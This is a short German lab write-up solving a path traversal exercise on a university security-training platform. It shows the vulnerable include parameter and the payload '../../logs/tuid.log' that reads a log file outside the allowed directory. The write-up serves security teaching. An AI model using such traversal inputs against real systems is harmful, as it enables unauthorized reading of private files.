24 lines
708 B
Markdown
24 lines
708 B
Markdown
# Path Traversal
|
|
|
|
Gegeben ist ein Minibrowser ohne URL-Leiste.
|
|
Ziel ist das Einlesen von Dateien,
|
|
auf die wir eigentlich keinen Zugriff haben sollen.
|
|
|
|
![](path-traversal.png)
|
|
|
|
## Lösung
|
|
|
|
Laut dem Hinweis sollen wir die URL im Browser anschauen:
|
|
```
|
|
https://securitylab.sit.tu-darmstadt.de/index.php/task/show/546?include=start.php
|
|
```
|
|
Die Beschreibung weist uns auf `start.php` hin:
|
|
```
|
|
[unknown]/logs/tuid.log
|
|
[unknown]/public_html/views/start.php
|
|
```
|
|
Wir können mittels [`..` auf Elternverzeichnisse zugreifen](https://superuser.com/questions/153165/what-does-represent-while-giving-path/153175#153175):
|
|
```
|
|
https://securitylab.sit.tu-darmstadt.de/index.php/task/show/546?include=../../logs/tuid.log
|
|
```
|